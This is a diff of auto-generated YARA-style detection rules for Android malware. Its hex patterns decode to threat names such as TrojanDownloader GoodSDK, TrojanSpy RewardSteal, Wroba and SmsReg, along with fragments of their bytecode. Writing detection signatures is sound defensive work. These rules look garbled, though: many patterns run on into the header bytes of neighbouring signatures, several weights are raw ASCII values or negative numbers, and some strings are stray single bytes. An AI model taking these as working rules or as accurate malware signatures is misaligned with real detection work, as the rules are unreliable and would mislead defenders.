"!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 03 00 21 " @@ -323051,7 +339738,7 @@ rule _InfrastructureShared_24665{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25697+(#a_66_2 & 1)*25963) >=4 } -rule _InfrastructureShared_24666{ +rule _InfrastructureShared_25967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323059,25 +339746,36 @@ rule _InfrastructureShared_24666{ $a_4c_0 = {41 6e 64 72 6f 69 64 4f 53 2f 66 75 6e 6b 79 42 6f 74 46 50 73 2e 41 00 01 00 06 01 2e 75 6e 7a 69 70 01 00 23 01 6d 61 6b 65 46 61 6b 65 44 65 78 73 20 6d 61 6b 65 20 66 61 6b 65 20 66 69 6c 65 20 66 61 69 } //21539 $a_73_1 = {00 18 01 61 47 56 73 62 47 38 67 64 32 39 79 62 47 51 67 62 58 6b 7a 4d 67 3d 3d 01 00 0d 01 63 73 6e 2d 72 65 } //14956 $a_64_2 = {74 61 00 00 be 84 00 00 08 00 08 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 41 6e 64 72 6f 69 64 4f 53 } //28787 - $a_6f_3 = {53 44 4b 2e 41 21 4d 54 42 00 03 00 0b 00 67 73 5f 6d 61 69 6e 2e 64 65 78 03 00 1a 00 63 6e 2e 63 6f 6d 2e 67 6f 6f 64 73 64 6b 2e 6d 61 69 6e 2e 41 64 4d 61 69 6e 01 00 0a 00 2f 2e 67 6f 6f 64 5f 73 64 6b 01 00 0e 00 2f 2e 6f 70 74 5f 67 6f 6f 64 5f 73 64 6b 00 00 be 85 00 00 03 00 03 00 02 00 21 23 41 4c 46 50 45 52 3a 48 53 54 } //18223 + $a_6f_3 = {53 44 4b 2e 41 21 4d 54 42 00 03 00 0b 00 67 73 5f 6d 61 69 6e 2e 64 65 78 03 00 1a 00 63 6e 2e 63 6f 6d 2e 67 6f 6f 64 73 64 6b 2e 6d 61 69 6e 2e 41 64 4d 61 69 6e 01 00 0a 00 2f 2e 67 6f 6f 64 5f 73 64 6b 01 00 0e 00 2f 2e 6f 70 74 5f 67 6f 6f 64 5f 73 64 6b 00 00 be 85 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e } //18223 condition: ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*14956+(#a_64_2 & 1)*28787+(#a_6f_3 & 1)*18223) >=4 } -rule _InfrastructureShared_24667{ +rule _InfrastructureShared_25968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,08 00 08 00 04 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 41 6e 64 72 6f 69 64 4f 53 2f 47 6f 6f 64 53 44 4b 2e 41 21 4d 54 42 00 03 00 0b 00 67 73 5f 6d 61 69 6e 2e 64 65 78 03 00 1a 00 63 6e 2e 63 6f 6d 2e 67 6f } //21539 - $a_64_1 = {2e 6d 61 69 6e 2e 41 64 4d 61 69 6e 01 00 0a 00 2f 2e 67 6f 6f 64 5f 73 64 6b 01 00 0e 00 2f 2e 6f 70 74 5f 67 6f 6f 64 5f 73 64 6b 00 00 be 85 00 00 03 00 03 00 02 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 55 74 63 68 69 2e 41 21 4d 54 42 00 02 00 43 03 44 01 01 02 54 62 90 01 02 52 63 90 01 02 44 02 02 03 b0 } //25711 - $a_ff_2 = {d8 01 0b 01 d8 02 08 01 48 04 07 08 54 65 90 01 02 44 03 } //-10975 - $a_43_3 = {33 4f 03 0a 0b d8 00 00 01 01 1b 01 28 28 b0 0e 00 90 00 01 00 0e 00 61 64 63 68 69 74 75 2e 63 6f 6d 2f 63 74 00 00 be 85 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 70 79 6c 6f 61 6e 2e 43 00 01 00 0d 01 67 65 74 53 70 79 77 69 67 72 61 6a 71 01 00 1c 01 4c 63 6f 6d 2f 62 69 72 64 6c 6f 61 6e 2f 63 61 73 66 2f 62 69 72 64 2f 63 61 73 66 01 00 10 01 43 61 73 66 53 6d 73 73 73 73 73 55 74 69 6c 73 01 00 0e 01 73 63 72 65 65 6e 5f 63 61 70 74 75 72 65 01 00 0c 01 43 61 73 66 43 65 6c 6c 49 6e 66 6f 00 00 be 86 00 00 03 00 03 } //773 + $a_64_1 = {2e 6d 61 69 6e 2e 41 64 4d 61 69 6e 01 00 0a 00 2f 2e 67 6f 6f 64 5f 73 64 6b 01 00 0e 00 2f 2e 6f 70 74 5f 67 6f 6f 64 5f 73 64 6b 00 00 be 85 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 68 61 6d 65 72 61 2e 48 21 4d 54 42 00 01 00 30 01 54 30 60 01 72 10 f3 04 00 00 0a 00 38 00 12 00 54 30 } //25711 + $a_10_2 = {ef 04 00 00 0a 00 38 00 0a 00 54 30 61 01 54 31 60 01 12 42 6e 30 f6 0b 10 02 01 00 20 01 6e 20 7b 25 03 00 13 00 7b 00 6e 20 73 25 03 00 71 10 85 25 02 00 0a 02 71 10 fc 24 02 00 0c 02 00 00 be 85 00 00 03 00 03 00 02 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 55 74 63 68 69 2e 41 21 4d 54 42 00 02 00 43 03 } //352 + $a_02_3 = {54 } //324 T condition: - ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*25711+(#a_ff_2 & 1)*-10975+(#a_43_3 & 1)*773) >=8 + ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*25711+(#a_10_2 & 1)*352+(#a_02_3 & 1)*324) >=8 } -rule _InfrastructureShared_24668{ +rule _InfrastructureShared_25969{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 68 61 6d 65 72 61 2e 48 21 4d 54 42 00 01 00 30 01 54 30 60 01 72 10 f3 04 00 00 0a 00 38 00 12 00 54 30 60 01 72 10 ef 04 00 00 0a 00 38 00 0a 00 54 30 } //21539 + $a_31_1 = {01 12 42 6e 30 f6 0b 10 02 01 00 20 01 6e 20 7b 25 03 00 13 00 7b 00 6e 20 73 25 03 00 71 10 85 25 02 00 0a 02 71 10 fc 24 02 00 0c 02 00 00 be 85 00 00 03 00 03 00 02 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 55 74 63 } //353 + condition: + ((#a_4c_0 & 1)*21539+(#a_31_1 & 1)*353) >=2 + +} +rule _InfrastructureShared_25970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 02 00 21 " @@ -323088,7 +339786,7 @@ rule _InfrastructureShared_24668{ ((#a_46_0 & 1)*16675+(#a_b7_1 & 1)*1283) >=3 } -rule _InfrastructureShared_24669{ +rule _InfrastructureShared_25971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -323096,13 +339794,24 @@ rule _InfrastructureShared_24669{ $a_41_0 = {42 6c 6f 63 6b 3a 53 70 79 6c 6f 61 6e 2e 43 00 01 00 0d 01 67 65 74 53 70 79 77 69 67 72 61 6a 71 01 00 1c 01 4c 63 6f 6d 2f 62 69 72 64 6c 6f 61 6e 2f 63 61 73 66 2f 62 69 72 64 2f 63 61 73 66 01 00 10 01 43 61 73 66 53 6d 73 73 73 73 73 55 74 69 6c 73 } //20515 $a_01_1 = {73 63 72 65 65 6e 5f 63 61 70 74 75 72 65 } //1 screen_capture $a_01_2 = {43 61 73 66 43 65 6c 6c 49 6e 66 6f } //1 CasfCellInfo - $a_86_3 = {00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 52 65 67 2e 41 21 4d 54 42 00 01 00 2c 00 49 6e 73 75 66 66 69 63 69 65 6e 74 20 53 70 61 63 65 20 46 6f 72 20 53 65 63 41 70 6b 20 61 76 61 69 6c 61 62 6c 65 20 73 69 7a 65 01 00 0d 00 2f 2e 73 65 63 5f 76 65 72 73 69 6f 6e 01 00 14 00 61 73 73 65 74 73 2f 64 65 78 73 68 65 6c 6c 2e 64 61 74 61 00 00 be 86 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 41 70 70 2e 4e 21 4d 54 42 00 01 00 10 00 61 70 69 2e } //0 - $a_64_4 = {2d 32 34 2e 63 6f 6d 01 00 0a 00 63 61 66 65 5f 74 68 69 6e 65 01 00 11 00 61 70 69 2f 67 65 74 6c 6f 67 69 6e 74 6f 6b 65 6e 01 00 1e 02 63 6f 6d 2f 90 02 13 2f 90 02 10 2f 75 69 2f 53 74 61 72 74 41 63 74 69 76 69 74 79 90 00 00 00 be 86 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 } //24931 + $a_86_3 = {00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 52 65 77 61 72 64 53 74 65 61 6c 2e 41 42 21 4d 54 42 00 01 00 1e 01 63 6f 6d 2f 64 6f 6f 2f 6e 6f 74 2f 74 72 61 63 6b 2f 4d 61 69 6e 41 63 74 69 76 69 74 79 01 00 2b 03 6e 10 79 13 0a 00 0c 09 38 09 b9 00 6e 10 79 13 0a 00 0c 09 1a 00 00 00 71 00 90 01 02 00 00 0c 00 6e 20 5e 34 09 00 0a 09 90 00 00 00 be 86 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 52 65 67 2e 41 21 4d 54 42 00 01 00 2c 00 49 6e 73 75 } //0 + $a_63_4 = {65 6e 74 20 53 70 61 63 65 20 46 6f 72 20 53 65 63 41 70 6b 20 61 76 61 69 6c 61 62 6c 65 20 73 69 7a 65 01 00 0d 00 2f 2e 73 65 63 5f 76 65 72 73 69 6f 6e 01 00 14 00 61 73 73 65 74 73 2f 64 65 78 73 68 65 6c 6c 2e 64 61 74 61 00 00 be 86 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 } //26214 condition: - ((#a_41_0 & 1)*20515+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_86_3 & 1)*0+(#a_64_4 & 1)*24931) >=5 + ((#a_41_0 & 1)*20515+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_86_3 & 1)*0+(#a_63_4 & 1)*26214) >=5 } -rule _InfrastructureShared_24670{ +rule _InfrastructureShared_25972{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 52 65 77 61 72 64 53 74 65 61 6c 2e 41 42 21 4d 54 42 00 01 00 1e 01 63 6f 6d 2f 64 6f 6f 2f 6e 6f 74 2f 74 72 61 63 6b 2f 4d 61 69 6e 41 63 74 69 } //21539 + $a_79_1 = {00 2b 03 6e 10 79 13 0a 00 0c 09 38 09 b9 00 6e 10 79 13 0a 00 0c 09 1a 00 00 00 71 00 90 01 02 00 00 0c 00 6e 20 5e 34 09 00 0a 09 90 00 00 00 be 86 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 52 65 67 2e 41 21 4d 54 42 00 01 00 2c 00 49 6e 73 75 66 66 69 63 69 65 6e 74 20 53 70 61 63 } //26998 + condition: + ((#a_4c_0 & 1)*21539+(#a_79_1 & 1)*26998) >=2 + +} +rule _InfrastructureShared_25973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -323114,7 +339823,7 @@ rule _InfrastructureShared_24670{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*31337+(#a_34_2 & 1)*11641) >=3 } -rule _InfrastructureShared_24671{ +rule _InfrastructureShared_25974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323127,7 +339836,7 @@ rule _InfrastructureShared_24671{ ((#a_4c_0 & 1)*21539+(#a_2f_1 & 1)*28769+(#a_73_2 & 1)*28492+(#a_00_3 & 1)*11876) >=4 } -rule _InfrastructureShared_24672{ +rule _InfrastructureShared_25975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -323141,7 +339850,7 @@ rule _InfrastructureShared_24672{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29269+(#a_73_2 & 1)*24934+(#a_4d_3 & 1)*16968+(#a_00_4 & 1)*1) >=5 } -rule _InfrastructureShared_24673{ +rule _InfrastructureShared_25976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -323154,7 +339863,7 @@ rule _InfrastructureShared_24673{ ((#a_41_0 & 1)*20515+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_86_3 & 1)*0) >=5 } -rule _InfrastructureShared_24674{ +rule _InfrastructureShared_25977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 05 00 21 " @@ -323167,7 +339876,7 @@ rule _InfrastructureShared_24674{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*28515+(#a_53_2 & 1)*17486+(#a_6e_3 & 1)*14969) >=6 } -rule _InfrastructureShared_24675{ +rule _InfrastructureShared_25978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -323182,7 +339891,7 @@ rule _InfrastructureShared_24675{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*9+(#a_2f_2 & 1)*20324+(#a_49_3 & 1)*28165+(#a_00_4 & 1)*0+(#a_23_5 & 1)*4) >=6 } -rule _InfrastructureShared_24676{ +rule _InfrastructureShared_25979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -323193,7 +339902,7 @@ rule _InfrastructureShared_24676{ ((#a_4c_0 & 1)*21539+(#a_08_1 & 1)*306) >=2 } -rule _InfrastructureShared_24677{ +rule _InfrastructureShared_25980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 04 00 21 " @@ -323206,7 +339915,7 @@ rule _InfrastructureShared_24677{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*4864+(#a_4c_2 & 1)*16712+(#a_3a_3 & 1)*25455) >=2 } -rule _InfrastructureShared_24678{ +rule _InfrastructureShared_25981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323218,7 +339927,7 @@ rule _InfrastructureShared_24678{ ((#a_41_0 & 1)*20515+(#a_6d_2 & 1)*29797+(#a_66_3 & 1)*24951) >=4 } -rule _InfrastructureShared_24679{ +rule _InfrastructureShared_25982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 05 00 21 " @@ -323232,7 +339941,7 @@ rule _InfrastructureShared_24679{ ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*25954+(#a_41_2 & 1)*12345+(#a_2e_3 & 1)*28005+(#a_64_4 & 1)*28530) >=4 } -rule _InfrastructureShared_24680{ +rule _InfrastructureShared_25983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 06 00 21 " @@ -323247,7 +339956,7 @@ rule _InfrastructureShared_24680{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*25391+(#a_6f_2 & 1)*11888+(#a_00_3 & 1)*11890+(#a_61_4 & 1)*27715+(#a_69_5 & 1)*21325) >=4 } -rule _InfrastructureShared_24681{ +rule _InfrastructureShared_25984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 04 00 21 " @@ -323259,7 +339968,7 @@ rule _InfrastructureShared_24681{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*19522+(#a_6f_2 & 1)*16996) >=5 } -rule _InfrastructureShared_24682{ +rule _InfrastructureShared_25985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -323271,31 +339980,21 @@ rule _InfrastructureShared_24682{ ((#a_41_0 & 1)*20515+(#a_6c_1 & 1)*11+(#a_72_2 & 1)*30208) >=5 } -rule _InfrastructureShared_24683{ +rule _InfrastructureShared_25986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 53 4d 53 52 65 67 2e 4d 00 01 00 1e 00 76 65 72 2f 67 69 74 2f 61 63 74 69 76 69 74 69 65 73 2f 52 75 6e 41 63 74 69 76 69 74 79 01 00 11 00 53 4d 53 42 69 6c 6c 69 6e 67 52 65 71 75 65 73 74 01 00 10 00 47 61 6d 65 4b 69 6c 6c 73 50 72 } //20515 - $a_73_1 = {01 00 0b 00 53 69 74 65 2f 65 6d 62 65 64 5f 01 00 0c 00 6b 69 6c 6c 59 6f 75 72 73 65 6c 66 00 00 be 88 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 4b 21 4d 54 42 00 01 00 30 01 63 6f 6d 2f 65 78 70 72 65 73 73 65 78 70 65 } //25455 - $a_2f_2 = {6c 75 65 74 6f 6f 74 68 2f 70 72 69 6e 74 2f 4d 61 69 6e 5f 41 63 74 69 76 69 74 79 01 00 21 03 5d 01 00 54 30 90 01 01 48 14 01 0c 00 01 7f 14 02 0d 00 01 7f 6e 30 90 01 01 5d 10 02 54 30 90 00 00 00 be 88 00 00 02 00 02 00 03 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 46 61 6b 65 6e 67 72 79 2e 41 21 4d } //29550 - $a_39_4 = {0a 00 1a } //6144 + $a_73_1 = {01 00 0b 00 53 69 74 65 2f 65 6d 62 65 64 5f 01 00 0c 00 6b 69 6c 6c 59 6f 75 72 73 65 6c 66 00 00 be 88 00 00 02 00 02 00 03 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 46 61 6b 65 6e 67 72 79 2e 41 21 4d 54 42 00 01 00 18 03 39 01 0a 00 1a 01 90 01 02 6e 20 90 01 02 10 00 0a 01 38 01 ff 00 90 00 01 00 1f } //25455 + $a_1b_2 = {54 } //13571 T + $a_01_3 = {01 } //-28640 + $a_01_4 = {02 10 00 0c 00 1f 00 90 01 01 00 38 00 0d 00 90 00 01 00 22 03 0c 00 1f 00 3e 00 6e 10 90 01 02 00 00 0c 00 38 00 09 00 6e 10 90 01 02 00 00 0c 00 5b 20 ed 01 90 00 00 00 be 88 00 00 04 00 04 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 57 72 6f 62 61 2e 4c 21 4d 54 42 00 01 00 0b 00 61 64 64 4e 65 77 53 6d 73 65 73 01 00 12 01 61 70 69 2f 67 65 74 41 6c 6c 49 6e 63 6f 6d 69 6e 67 01 00 } //8302 condition: - ((#a_41_0 & 1)*20515+(#a_73_1 & 1)*25455+(#a_2f_2 & 1)*29550+(#a_39_4 & 1)*6144) >=5 + ((#a_41_0 & 1)*20515+(#a_73_1 & 1)*25455+(#a_1b_2 & 1)*13571+(#a_01_3 & 1)*-28640+(#a_01_4 & 1)*8302) >=5 } -rule _InfrastructureShared_24684{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 4b 21 4d 54 42 00 01 00 30 01 63 6f 6d 2f 65 78 70 72 65 73 73 65 78 70 65 6e 73 65 2f 62 6c 75 65 74 6f 6f 74 68 2f 70 72 69 } //21539 - $a_4d_1 = {69 6e 5f 41 63 74 69 76 69 74 79 01 00 21 03 5d 01 00 54 30 90 01 01 48 14 01 0c 00 01 7f 14 02 0d 00 01 7f 6e 30 90 01 01 5d 10 02 54 30 90 } //29806 - condition: - ((#a_4c_0 & 1)*21539+(#a_4d_1 & 1)*29806) >=2 - -} -rule _InfrastructureShared_24685{ +rule _InfrastructureShared_25987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 03 00 21 " @@ -323307,7 +340006,7 @@ rule _InfrastructureShared_24685{ ((#a_41_0 & 1)*20515+(#a_0c_1 & 1)*8704+(#a_10_2 & 1)*62) >=2 } -rule _InfrastructureShared_24686{ +rule _InfrastructureShared_25988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 05 00 21 " @@ -323321,7 +340020,7 @@ rule _InfrastructureShared_24686{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_89_4 & 1)*0) >=4 } -rule _InfrastructureShared_24687{ +rule _InfrastructureShared_25989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 01 00 21 " @@ -323331,7 +340030,7 @@ rule _InfrastructureShared_24687{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_24688{ +rule _InfrastructureShared_25990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -323342,7 +340041,7 @@ rule _InfrastructureShared_24688{ ((#a_4c_0 & 1)*21539+(#a_07_1 & 1)*257) >=2 } -rule _InfrastructureShared_24689{ +rule _InfrastructureShared_25991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323355,7 +340054,7 @@ rule _InfrastructureShared_24689{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29539+(#a_4c_2 & 1)*17921+(#a_4f_3 & 1)*26991) >=4 } -rule _InfrastructureShared_24690{ +rule _InfrastructureShared_25992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323367,7 +340066,7 @@ rule _InfrastructureShared_24690{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28784+(#a_41_3 & 1)*8448) >=4 } -rule _InfrastructureShared_24691{ +rule _InfrastructureShared_25993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 04 00 21 " @@ -323380,7 +340079,7 @@ rule _InfrastructureShared_24691{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28271+(#a_01_2 & 1)*29285+(#a_01_3 & 1)*2) >=5 } -rule _InfrastructureShared_24692{ +rule _InfrastructureShared_25994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -323392,7 +340091,7 @@ rule _InfrastructureShared_24692{ ((#a_4c_0 & 1)*21539+(#a_65_2 & 1)*29561+(#a_61_3 & 1)*15717) >=5 } -rule _InfrastructureShared_24693{ +rule _InfrastructureShared_25995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 03 00 21 " @@ -323404,7 +340103,7 @@ rule _InfrastructureShared_24693{ ((#a_46_0 & 1)*16675+(#a_3d_1 & 1)*28793+(#a_01_2 & 1)*-28656) >=6 } -rule _InfrastructureShared_24694{ +rule _InfrastructureShared_25996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -323414,7 +340113,17 @@ rule _InfrastructureShared_24694{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_24695{ +rule _InfrastructureShared_25997{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 6e 6f 74 65 2e 56 21 4d 54 42 00 01 00 16 01 63 6f 6d 2f 61 70 70 64 2f 69 6e 73 74 6c 6c 2f 73 70 6c 61 73 68 01 00 3c 01 60 00 54 00 13 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_25998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323427,7 +340136,7 @@ rule _InfrastructureShared_24695{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*15681+(#a_72_2 & 1)*14918+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_24696{ +rule _InfrastructureShared_25999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323439,7 +340148,7 @@ rule _InfrastructureShared_24696{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25445+(#a_4d_2 & 1)*24405) >=4 } -rule _InfrastructureShared_24697{ +rule _InfrastructureShared_26000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -323453,7 +340162,7 @@ rule _InfrastructureShared_24697{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28672+(#a_6d_2 & 1)*28015+(#a_43_3 & 1)*29808+(#a_01_4 & 1)*866) >=5 } -rule _InfrastructureShared_24698{ +rule _InfrastructureShared_26001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -323466,7 +340175,7 @@ rule _InfrastructureShared_24698{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_8c_3 & 1)*0) >=5 } -rule _InfrastructureShared_24699{ +rule _InfrastructureShared_26002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 01 00 21 " @@ -323476,7 +340185,7 @@ rule _InfrastructureShared_24699{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_24700{ +rule _InfrastructureShared_26003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -323488,7 +340197,7 @@ rule _InfrastructureShared_24700{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26998+(#a_64_2 & 1)*26222) >=3 } -rule _InfrastructureShared_24701{ +rule _InfrastructureShared_26004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 06 00 21 " @@ -323503,7 +340212,7 @@ rule _InfrastructureShared_24701{ ((#a_4c_0 & 1)*21539+(#a_75_1 & 1)*28015+(#a_63_2 & 1)*29806+(#a_10_3 & 1)*1+(#a_00_4 & 1)*28784+(#a_6d_5 & 1)*25345) >=4 } -rule _InfrastructureShared_24702{ +rule _InfrastructureShared_26005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -323516,7 +340225,7 @@ rule _InfrastructureShared_24702{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672+(#a_01_2 & 1)*4209+(#a_74_3 & 1)*28483) >=12 } -rule _InfrastructureShared_24703{ +rule _InfrastructureShared_26006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323529,7 +340238,7 @@ rule _InfrastructureShared_24703{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_8d_3 & 1)*0) >=4 } -rule _InfrastructureShared_24704{ +rule _InfrastructureShared_26007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323542,7 +340251,7 @@ rule _InfrastructureShared_24704{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*21075+(#a_41_2 & 1)*19759+(#a_6d_3 & 1)*12115) >=4 } -rule _InfrastructureShared_24705{ +rule _InfrastructureShared_26008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -323556,7 +340265,7 @@ rule _InfrastructureShared_24705{ ((#a_41_0 & 1)*20515+(#a_01_1 & 1)*16722+(#a_00_2 & 1)*65+(#a_70_3 & 1)*29551+(#a_50_4 & 1)*28530) >=5 } -rule _InfrastructureShared_24706{ +rule _InfrastructureShared_26009{ meta: description = 